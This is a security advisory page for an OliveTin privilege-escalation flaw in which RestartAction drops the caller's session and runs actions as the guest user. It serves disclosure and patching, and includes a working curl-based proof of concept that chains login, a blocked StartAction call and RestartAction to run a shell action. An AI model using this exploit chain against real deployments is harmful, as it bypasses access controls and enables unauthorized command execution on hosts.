Skip to content

GHSA-p443-p7w5-2f7f CVE-2026-30225 GO-2026-4625

OliveTin's RestartAction always runs actions as guest

Medium Go
Severity
5.3 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.43%
Chance of exploitation in the next 30 days. Higher than 37.31% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-250 Execution with Unnecessary Privileges
CWE-441 Unintended Proxy or Intermediary ('Confused Deputy')
Fix
0.0.0-20260305000458-cb46a597b246
Upgrade github.com/OliveTin/OliveTin to this version or later

Description

Summary

An authentication context confusion vulnerability in RestartAction allows a low‑privileged authenticated user to execute actions they are not permitted to run.

RestartAction constructs a new internal connect.Request without preserving the original caller’s authentication headers or cookies. When this synthetic request is passed to StartAction, the authentication resolver falls back to the guest user. If the guest account has broader permissions than the authenticated caller, this results in privilege escalation and unauthorized command execution.

This vulnerability allows a low‑privileged authenticated user to bypass ACL restrictions and execute arbitrary configured shell actions.

Details

Affected files:

service/internal/api/api.go

service/internal/auth/authcheck.go

Relevant code in RestartAction:

return api.StartAction(ctx, &connect.Request[apiv1.StartActionRequest]{
    Msg: &apiv1.StartActionRequest{
        BindingId:        execReqLogEntry.GetBindingId(),
        UniqueTrackingId: req.Msg.ExecutionTrackingId,
    },
})

Authentication in StartAction:

authenticatedUser := auth.UserFromApiCall(ctx, req, api.cfg)

Issue:

  1. RestartAction creates a new connect.Request object.

  2. The new request does not preserve caller headers or cookies.

  3. UserFromApiCall() attempts to resolve the user from the request.

  4. Because authentication headers are missing, it falls back to the guest user.

  5. If guest.exec = true while the original caller has exec = false, the action executes with elevated privileges.

PoC

Configuration:

defaultPermissions:
  exec: false

users:
  - username: low
    password: lowpass
    permissions:
      exec: false

  - username: guest
    permissions:
      exec: true

actions:
  - id: restart_bypass_action
    shell: |
      echo "pwned" > /tmp/olivetin_restart_bypass.txt

Steps to reproduce:

Login as low user

LOW_LOGIN=$(curl -sS -i -X POST \
  http://localhost:1337/olivetin.api.v1.OliveTinApiService/LocalUserLogin \
  -H 'Content-Type: application/json' \
  -d '{"username":"low","password":"lowpass"}')

LOW_SID=$(printf '%s\n' "$LOW_LOGIN" | tr -d '\r' | \
  awk -F'[=;]' '/^Set-Cookie: olivetin-sid-local=/{print $2; exit}')

Attempt direct execution (correctly blocked)

LOW_RUN=$(curl -sS -X POST \
  http://localhost:1337/olivetin.api.v1.OliveTinApiService/StartActionAndWait \
  -H 'Content-Type: application/json' \
  -H "Cookie: olivetin-sid-local=$LOW_SID" \
  -d '{"actionId":"restart_bypass_action"}')

echo "$LOW_RUN"

This should return permission denied.

Extract executionTrackingId from response:

TRACKING_ID=$(printf '%s' "$LOW_RUN" | \
  sed -n 's/.*"executionTrackingId":"\([^"]*\)".*/\1/p' | head -n1)

echo "Tracking ID: $TRACKING_ID"

Call RestartAction:

curl -sS -X POST \
  http://localhost:1337/olivetin.api.v1.OliveTinApiService/RestartAction \
  -H 'Content-Type: application/json' \
  -H "Cookie: olivetin-sid-local=$LOW_SID" \
  -d "{\"executionTrackingId\":\"$TRACKING_ID\"}"

Verify command executed:

cat /tmp/olivetin_restart_bypass.txt

Output:

pwned

Impact

  • Privilege Escalation
  • ACL Bypass
  • Unauthorized Command Execution

Any authenticated low-privilege user can execute actions they are not authorized to run if:

  • Guest has broader permissions
  • RestartAction is enabled Because OliveTin actions execute system shell commands, this can lead to:
  • Arbitrary file writes
  • Sensitive data exposure
  • Potential full host compromise (depending on OliveTin runtime privileges)

This affects all deployments where:

  • guest.exec = true
  • A restricted user has exec = false
  • RestartAction endpoint is accessible

Affected versions

Go

PackageVulnerableFixed in
github.com/OliveTin/OliveTin
< 0.0.0-20260305000458-cb46a597b246
0.0.0-20260305000458-cb46a597b246

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/OliveTin/OliveTin Go → 0.0.0-20260305000458-cb46a597b246

go
go get github.com/OliveTin/OliveTin@v0.0.0-20260305000458-cb46a597b246 && go mod tidy

Severity breakdown

CVSS 3.1 5.3

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
None
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
None

Weakness

CWE-250: Execution with Unnecessary Privileges

The product performs an operation at a privilege level that is higher than the minimum level required, which creates new weaknesses or amplifies the consequences of other weaknesses.

How to prevent it
  • Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
  • Architecture and Design: Identify the functionality that requires additional privileges, such as access to privileged operating system resources. Wrap and centralize this functionality if possible, and isolate the privileged code as much as possible from other code [REF-76]. Raise privileges as late as possible, and drop them as soon as possible to avoid CWE-271. Avoid weaknesses such as CWE-288 and CWE-420 by protecting all possible communication channels that could interact with the privileged code, such as a secondary socket that is only intended to be accessed by administrators.
  • Architecture and Design: Identify the functionality that requires additional privileges, such as access to privileged operating system resources. Wrap and centralize this functionality if possible, and isolate the privileged code as much as possible from other code [REF-76]. Raise privileges as late as possible, and drop them as soon as possible to avoid CWE-271. Avoid weaknesses such as CWE-288 and CWE-420 by protecting all possible communication channels that could interact with the privileged code, such as a secondary socket that is only intended to be accessed by administrators.
  • Implementation: Perform extensive input validation for any privileged code that must be exposed to the user and reject anything that does not fit your strict requirements.
  • Implementation: When dropping privileges, ensure that they have been dropped successfully to avoid CWE-273. As protection mechanisms in the environment get stronger, privilege-dropping calls may fail even if it seems like they would always succeed.
  • Implementation: If circumstances force you to run with extra privileges, then determine the minimum access level necessary. First identify the different permissions that the software and its users will need to perform their actions, such as file read and write permissions, network socket permissions, and so forth. Then explicitly allow those actions while denying all else [REF-76]. Perform extensive input validation and canonicalization to minimize the chances of introducing a separate vulnerability. This mitigation is much more prone to error than dropping the privileges in the first place.
  • Operation, System Configuration: Ensure that the software runs properly under the United States Government Configuration Baseline (USGCB) [REF-199] or an equivalent hardening configuration guide, which many organizations use to limit the attack surface and potential risk of deployed software.

CWE-441: Unintended Proxy or Intermediary ('Confused Deputy')

The product receives a request, message, or directive from an upstream component, but the product does not sufficiently preserve the original source of the request before forwarding the request to an external actor that is outside of the product's control sphere. This causes the product to appear to be the source of the request, leading it to act as a proxy or other intermediary between the upstream component and the external actor.

How to prevent it
  • Architecture and Design: Enforce the use of strong mutual authentication mechanism between the two parties.
  • Architecture and Design: Whenever a product is an intermediary or proxy for transactions between two other components, the proxy core should not drop the identity of the initiator of the transaction. The immutability of the identity of the initiator must be maintained and should be forwarded all the way to the target.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-jm28-2wcr-qf3h
OliveTin: StartActionAndWait Endpoints Bypass `logs` Permission and Return Action Output
Medium Also affects github.com/OliveTin/OliveTin
GHSA-xc5w-4v5w-7x65
OliveTin OS Command Injection via Custom regex: Argument Type Bypassing Shell Safety Check
Medium Also affects github.com/OliveTin/OliveTin
GHSA-xpxj-f2fm-rqch
OliveTin: Unauthenticated DoS via OAuth2 State Memory Exhaustion (Unbounded Map Growth)
High Also affects github.com/OliveTin/OliveTin
GHSA-prj9-97mp-mwh2
OliveTin has Unvalidated `ot_`-prefixed Arguments that Bypass Input Filtering
Medium Also affects github.com/OliveTin/OliveTin
GHSA-f637-w7p2-m7fx
OliveTin: ValidateArgumentType API Endpoint's Missing Authentication Allows Action and Argument Enumeration
Low Also affects github.com/OliveTin/OliveTin
GHSA-7fq5-7wr8-rjwj
OliveTin has a Concurrent Template Parsing Race Condition which Leads to Cross-Request Command Contamination
High Also affects github.com/OliveTin/OliveTin
GHSA-xx6g-43w2-9g6g
OliveTin's email argument makes compliance harder, enables log injection
Medium Also affects github.com/OliveTin/OliveTin
GHSA-228v-wc5r-j8m7
OliveTin Vulnerable to Unauthorized Action Output Disclosure via EventStream
Medium Also affects github.com/OliveTin/OliveTin
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor